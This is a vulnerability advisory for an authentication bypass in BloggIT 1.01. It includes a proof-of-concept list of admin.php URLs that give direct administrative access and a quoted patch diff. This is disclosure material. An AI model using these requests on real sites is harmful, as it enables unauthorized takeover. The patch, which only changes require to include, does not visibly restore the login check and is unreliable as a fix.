BloggIT 'admin.php' May Let Remote Users Gain Administrative Access
|
|
SecurityTracker Alert ID: 1016246 |
|
SecurityTracker URL: http://securitytracker.com/id/1016246
|
|
CVE Reference:
CVE-2006-7014
(Links to External Site)
|
Updated: May 22 2009
|
Original Entry Date: Jun 8 2006
|
Impact:
User access via network
|
Exploit Included: Yes
|
Version(s): 1.01
|
Description:
A vulnerability was reported in BloggIT. A remote user may be able to gain administrative access on the application.
A remote user can directly load the 'admin.php' script to bypass authentication and gain administrative access to the application.
Federico Fazzi reported this vulnerability.
|
Impact:
A remote user can gain administrative access on the target application.
|
Solution:
No solution was available at the time of this entry.
|
Cause:
Authentication error
|
Underlying OS: Linux (Any), UNIX (Any), Windows (Any)
|
|
Message History:
None.
|
Source Message Contents
|
Subject: BloggIT <= 1.01 (admin.php) Arbitrary code execution
|
*/ Federico Fazzi, <federico@autistici.org>
*/ BloggIT <= 1.01 (admin.php) Arbitrary code execution
*/ 04/06/2006 5:48
Bug:
The BloggIT have on the admin.php:
require("session.inc.php");
//- session_start();
//- if ($_SESSION['login'] != "ok") header("Location: index.php");
and require() function don't include the file
for test the security session.
Proof of concept:
The cracker have arbitrary access at:
http://example/admin.php
http://example/admin.php?op=add_ent
http://example/admin.php?op=add_usr
http://example/admin.php?op=man_ent
http://example/admin.php?op=man_usr
http://example/admin.php?op=man_cat
http://example/admin.php?op=man_com
http://example/admin.php?op=man_fil
Patch:
--- admin.php 2006-06-05 20:51:05.000000000 +0200
+++ admin.php 2006-06-05 20:51:23.000000000 +0200
@@ -6,7 +6,7 @@
require("config.inc.php");
require("language.inc.php");
require("parsing.inc.php");
-require("session.inc.php");
+include("session.inc.php");
print("<title>{$title} - Powered by BloggIT 1.01</title>\n");
?>
|
|